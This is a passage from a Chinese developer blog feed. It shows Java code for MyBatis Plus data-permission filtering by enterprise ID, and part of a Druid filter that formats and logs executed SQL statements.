class="line"><span class="keyword">import</span> org.apache.ibatis.mapping.ParameterMapping;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.MetaObject;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.reflection.SystemMetaObject;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Optional;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 CustomPermissionHandler</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2023/3/28</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomPermissionHandler</span> <span class="keyword">implements</span> <span class="title class_">DataPmsHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">DEFAULT_FILTER_FIELD</span> <span class="operator">=</span> <span class="string">&quot;ent_id&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取数据权限 SQL 片段</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> where             待执行 SQL Where 条件表达式</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> mappedStatementId Mybatis MappedStatement Id 根据该参数可以判断具体执行方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> JSqlParser 条件表达式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Expression <span class="title function_">getSqlSegment</span><span class="params">(<span class="keyword">final</span> Table table, Expression where, String mappedStatementId)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 在有权限的情况下查询用户所关联的企业列表</span></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果非权限用户则不往下执行，执行原sql</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> where;</span><br><span class="line">        &#125;</span><br><span class="line">        Set&lt;Long&gt; permissionEntList = sysUser.getEntIdList();</span><br><span class="line"><span class="comment">//        if (permissionEntList.size() == 0) &#123;</span></span><br><span class="line"><span class="comment">//            return where;</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(table.getName());</span><br><span class="line">        <span class="type">String</span> <span class="variable">fieldName</span> <span class="operator">=</span> tableInfo.getFieldList().stream()</span><br><span class="line">                .filter(a -&gt; a.getField().getAnnotation(ScopeField.class) != <span class="literal">null</span>)</span><br><span class="line">                .map(a -&gt; a.getField().getAnnotation(ScopeField.class).value())</span><br><span class="line">                .findFirst()</span><br><span class="line">                .orElse(DEFAULT_FILTER_FIELD);</span><br><span class="line">        <span class="type">Alias</span> <span class="variable">fromItemAlias</span> <span class="operator">=</span> table.getAlias();</span><br><span class="line">        <span class="type">String</span> <span class="variable">finalFieldName</span> <span class="operator">=</span> Optional.ofNullable(fromItemAlias).map(a -&gt; a.getName() + StringPool.DOT + fieldName).orElse(fieldName);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (permissionEntList.size() &gt; <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="comment">// 把集合转变为 JSQLParser需要的元素列表</span></span><br><span class="line">            <span class="type">InExpression</span> <span class="variable">inExpression</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InExpression</span>(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName), PluginUtils.getItemList(permissionEntList));</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 组装sql</span></span><br><span class="line">            <span class="keyword">return</span> where == <span class="literal">null</span> ? inExpression : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, inExpression);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 设置where</span></span><br><span class="line">        <span class="type">EqualsTo</span> <span class="variable">equalsTo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsTo</span>();</span><br><span class="line">        equalsTo.setLeftExpression(<span class="keyword">new</span> <span class="title class_">Column</span>(finalFieldName));</span><br><span class="line">        equalsTo.setRightExpression(<span class="keyword">new</span> <span class="title class_">LongValue</span>(permissionEntList.stream().findFirst().orElse(<span class="number">0L</span>)));</span><br><span class="line">        <span class="keyword">return</span> where == <span class="literal">null</span> ? equalsTo : <span class="keyword">new</span> <span class="title class_">AndExpression</span>(where, equalsTo);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateParameter</span><span class="params">(Update updateStmt, MappedStatement mappedStatement, BoundSql boundSql)</span> &#123;</span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(updateStmt.getTable().getName());</span><br><span class="line">        parameterHandler(tableInfo.getFieldList(), boundSql);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">insertParameter</span><span class="params">(Insert insertStmt, BoundSql boundSql)</span> &#123;</span><br><span class="line">        <span class="type">TableInfo</span> <span class="variable">tableInfo</span> <span class="operator">=</span> TableInfoHelper.getTableInfo(insertStmt.getTable().getName());</span><br><span class="line">        parameterHandler(tableInfo.getFieldList(), boundSql);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">parameterHandler</span><span class="params">(List&lt;TableFieldInfo&gt; fieldList, BoundSql boundSql)</span> &#123;</span><br><span class="line">        <span class="comment">// 过滤数据</span></span><br><span class="line">        <span class="type">SysUser</span> <span class="variable">sysUser</span> <span class="operator">=</span> SecurityUtils.getUser();</span><br><span class="line">        <span class="comment">// 如果当前用户是超级管理员，不处理</span></span><br><span class="line">        <span class="keyword">if</span> (sysUser.getId() == <span class="number">1L</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 获取当前用户所具备的ent_id</span></span><br><span class="line">        Set&lt;Long&gt; permissionEntList = sysUser.getEntIdList();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取当前表中需要权限过滤的字段名称</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">fieldName</span> <span class="operator">=</span> fieldList.stream()</span><br><span class="line">                .filter(a -&gt; a.getField().getAnnotation(ScopeField.class) != <span class="literal">null</span>)</span><br><span class="line">                .map(a -&gt; a.getField().getAnnotation(ScopeField.class).value())</span><br><span class="line">                .findFirst()</span><br><span class="line">                .orElse(DEFAULT_FILTER_FIELD);</span><br><span class="line"></span><br><span class="line">        <span class="type">MetaObject</span> <span class="variable">metaObject</span> <span class="operator">=</span> SystemMetaObject.forObject(boundSql.getParameterObject());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (ParameterMapping parameterMapping : boundSql.getParameterMappings()) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">propertyName</span> <span class="operator">=</span> parameterMapping.getProperty();</span><br><span class="line">            <span class="keyword">if</span> (propertyName.startsWith(<span class="string">&quot;ew.paramNameValuePairs&quot;</span>)) &#123;</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            String[] arr = propertyName.split(<span class="string">&quot;\\.&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">propertyNameTrim</span> <span class="operator">=</span> arr[arr.length - <span class="number">1</span>].replace(<span class="string">&quot;_&quot;</span>, <span class="string">&quot;&quot;</span>).toUpperCase();</span><br><span class="line">            <span class="keyword">if</span> (fieldName.replaceAll(<span class="string">&quot;[._\\-$]&quot;</span>, <span class="string">&quot;&quot;</span>).toUpperCase().equals(propertyNameTrim)) &#123;</span><br><span class="line">                <span class="keyword">if</span> (!Optional.ofNullable(metaObject.getValue(propertyName)).isPresent()) &#123;</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="type">long</span> <span class="variable">currentEntId</span> <span class="operator">=</span> Long.parseLong(metaObject.getValue(propertyName).toString());</span><br><span class="line">                <span class="comment">// 判断是否在权限范围内</span></span><br><span class="line">                <span class="keyword">if</span> (permissionEntList.contains(currentEntId)) &#123;</span><br><span class="line">                    metaObject.setValue(propertyName, currentEntId);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="comment">// 可以直接抛出异常 or 使用当前用户的ent_id 替换插入值 or 直接忽略当前插入sql但不抛出异常</span></span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UserOverreachException</span>();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="关联查询">关联查询</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/1fe93e397f59887e14b2a543a9ae5a3b.png" alt="image-20230329160743533"></p><h3 id="更新">更新</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/689b8c84b0ea0d8e3f105e30fd943f73.png" alt="image-20230329160900208"></p><h3 id="删除">删除</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/21866bef697a65f73030727b826f3a4b.png" alt="image-20230329161002030"></p><h2 id="代码地址">代码地址</h2><a class="tag-Link" target="_blank" href="https://github.com/chenqi92/allbs-authorization.git">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/github.com/chenqi92/allbs-authorization.git.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">权限过滤使用demo</div>            <div class="tag-link-sitename">github</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><p>上文代码在目录<code>cn.allbs.allbsjwt.config.datascope</code>下，可以查看git提交记录，后面使用封装好的allbs-mybatis包就被我删了。</p><a class="tag-Link" target="_blank" href="https://github.com/chenqi92/allbs-mybatis.git">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/github.com/chenqi92/allbs-mybatis.git.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">权限过滤封装源码</div>            <div class="tag-link-sitename">github</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a>]]></content>
    
    
    <summary type="html">上一篇的内容优化升级，使用mybaits plus自带的DataPermissionHandler进行权限处理，需要mybatis plus版本3.4.1以上</summary>
    
    
    
    <category term="framework" scheme="https://blog.allbs.cn/categories/framework/"/>
    
    
    <category term="spring" scheme="https://blog.allbs.cn/tags/spring/"/>
    
    <category term="framework" scheme="https://blog.allbs.cn/tags/framework/"/>
    
    <category term="mybatis plus" scheme="https://blog.allbs.cn/tags/mybatis-plus/"/>
    
    <category term="权限" scheme="https://blog.allbs.cn/tags/%E6%9D%83%E9%99%90/"/>
    
  </entry>
  
  <entry>
    <title>自定义格式化mybatis、mybatis plus中打印的sql</title>
    <link href="https://blog.allbs.cn/posts/42593/"/>
    <id>https://blog.allbs.cn/posts/42593/</id>
    <published>2023-03-27T03:02:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前提条件">前提条件</h2><p><em>连接池使用的是阿里的druid，其他连接池后续有空再考虑</em></p><h2 id="继承FilterEventAdapter并重写statement-close和resultSet-next">继承<code>FilterEventAdapter</code>并重写<code>statement_close</code>和<code>resultSet_next</code></h2><h3 id="statement-close-用于格式化delete-insert-没有主键id返回-update">statement_close 用于格式化<code>delete</code>,<code>insert</code>(没有主键id返回),<code>update</code></h3><h3 id="resultSet-next-用户格式化select-insert（有主键id返回）"><code>resultSet_next</code> 用户格式化<code>select</code>,<code>insert</code>（有主键id返回）</h3><h3 id="代码">代码</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.mybatis.filter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.allbs.common.constant.DateConstant;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.properties.MybatisProperties;</span><br><span class="line"><span class="keyword">import</span> cn.allbs.mybatis.utils.TableConsoleUtil;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.DbType;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.filter.FilterChain;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.filter.FilterEventAdapter;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.proxy.jdbc.JdbcParameter;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.proxy.jdbc.ResultSetProxy;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.proxy.jdbc.StatementProxy;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.sql.SQLUtils;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.druid.util.StringUtils;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.sql.ResultSet;</span><br><span class="line"><span class="keyword">import</span> java.sql.ResultSetMetaData;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLException;</span><br><span class="line"><span class="keyword">import</span> java.sql.Types;</span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;</span><br><span class="line"><span class="keyword">import</span> java.time.temporal.TemporalAccessor;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DruidSqlLogFilter</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2023/3/23 9:55</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DruidSqlLogFilter</span> <span class="keyword">extends</span> <span class="title class_">FilterEventAdapter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> SQLUtils.<span class="type">FormatOption</span> <span class="variable">FORMAT_OPTION</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SQLUtils</span>.FormatOption(<span class="literal">false</span>, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> MybatisProperties mybatisProperties;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">first</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Set&lt;Integer&gt; BLOB_TYPES = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> ResultSet rs;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Set&lt;Integer&gt; blobColumns = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> rows;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; rowList = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">STATEMENT_CLOSE_RUN</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        BLOB_TYPES.add(Types.BINARY);</span><br><span class="line">        BLOB_TYPES.add(Types.BLOB);</span><br><span class="line">        BLOB_TYPES.add(Types.CLOB);</span><br><span class="line">        BLOB_TYPES.add(Types.LONGNVARCHAR);</span><br><span class="line">        BLOB_TYPES.add(Types.LONGVARBINARY);</span><br><span class="line">        BLOB_TYPES.add(Types.LONGVARCHAR);</span><br><span class="line">        BLOB_TYPES.add(Types.NCLOB);</span><br><span class="line">        BLOB_TYPES.add(Types.VARBINARY);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DruidSqlLogFilter</span><span class="params">(MybatisProperties mybatisProperties)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.mybatisProperties = mybatisProperties;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteBefore</span><span class="params">(StatementProxy statement, String sql)</span> &#123;</span><br><span class="line">        statement.setLastExecuteStartNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteBatchBefore</span><span class="params">(StatementProxy statement)</span> &#123;</span><br><span class="line">        statement.setLastExecuteStartNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteUpdateBefore</span><span class="params">(StatementProxy statement, String sql)</span> &#123;</span><br><span class="line">        statement.setLastExecuteStartNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteQueryBefore</span><span class="params">(StatementProxy statement, String sql)</span> &#123;</span><br><span class="line">        statement.setLastExecuteStartNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteAfter</span><span class="params">(StatementProxy statement, String sql, <span class="type">boolean</span> firstResult)</span> &#123;</span><br><span class="line">        statement.setLastExecuteTimeNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteBatchAfter</span><span class="params">(StatementProxy statement, <span class="type">int</span>[] result)</span> &#123;</span><br><span class="line">        statement.setLastExecuteTimeNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteQueryAfter</span><span class="params">(StatementProxy statement, String sql, ResultSetProxy resultSet)</span> &#123;</span><br><span class="line">        statement.setLastExecuteTimeNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">statementExecuteUpdateAfter</span><span class="params">(StatementProxy statement, String sql, <span class="type">int</span> updateCount)</span> &#123;</span><br><span class="line">        statement.setLastExecuteTimeNano();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">statement_close</span><span class="params">(FilterChain chain, StatementProxy statement)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="built_in">super</span>.statement_close(chain, statement);</span><br><span class="line">        <span class="comment">// 支持动态开启</span></span><br><span class="line">        <span class="keyword">if</span> (!mybatisProperties.isShowSql()) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 是否开启调试</span></span><br><span class="line">        <span class="keyword">if</span> (!log.isInfoEnabled()) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 如果当前执行sql有结果则不执行 或者是新增语句，因为有id返回也不执行</span></span><br><span class="line"><span class="comment">//        Token token = new SQLStatementParser(statement.getLastExecuteSql()).getExprParser().getLexer().token();</span></span><br><span class="line"><span class="comment">//        if (statement.isFirstResultSet() || token.equals(Token.INSERT)) &#123;</span></span><br><span class="line"><span class="comment">//            return;</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line">        <span class="comment">// 防止有结果时打印两次sql语句</span></span><br><span class="line">        <span class="keyword">if</span> (!STATEMENT_CLOSE_RUN) &#123;</span><br><span class="line">            STATEMENT_CLOSE_RUN = <span class="literal">true</span>;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 打印可执行的 sql</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> statement.getBatchSql();</span><br><span class="line">        <span class="comment">// sql 为空直接返回</span></span><br><span class="line">        <span class="keyword">if</span> (StringUtils.isEmpty(sql)) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">String</span> <span class="variable">executeSql</span> <span class="operator">=</span> statement(statement);</span><br><span class="line">        log.info(executeSql);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">statement</span><span class="params">(StatementProxy statement)</span> &#123;</span><br><span class="line">        <span class="comment">// 打印可执行的 sql</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> statement.getBatchSql();</span><br><span class="line">        <span class="comment">// sql 为空直接返回</span></span><br><span class="line">        <span class="keyword">if</span> (StringUtils.isEmpty(sql)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">int</span> <span class="variable">parametersSize</span> <span class="operator">=</span> statement.getParametersSize();</span><br><span class="line">        List&lt;Object&gt; parameters = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(parametersSize);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; parametersSize; ++i) &#123;</span><br><span class="line">            <span class="comment">// 转换参数，处理 java8 时间</span></span><br><span class="line">            parameters.add(getJdbcParameter(statement.getParameter(i)));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">String</span> <span class="variable">dbType</span> <span class="operator">=</span> statement.getConnectionProxy().getDirectDataSource().getDbType();</span><br><span class="line">        <span class="type">String</span> <span class="variable">formattedSql</span> <span class="operator">=</span> SQLUtils.format(sql, DbType.of(dbType), parameters, FORMAT_OPTION);</span><br><span class="line">        <span class="keyword">return</span> printSql(formattedSql, statement);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> Object <span class="title 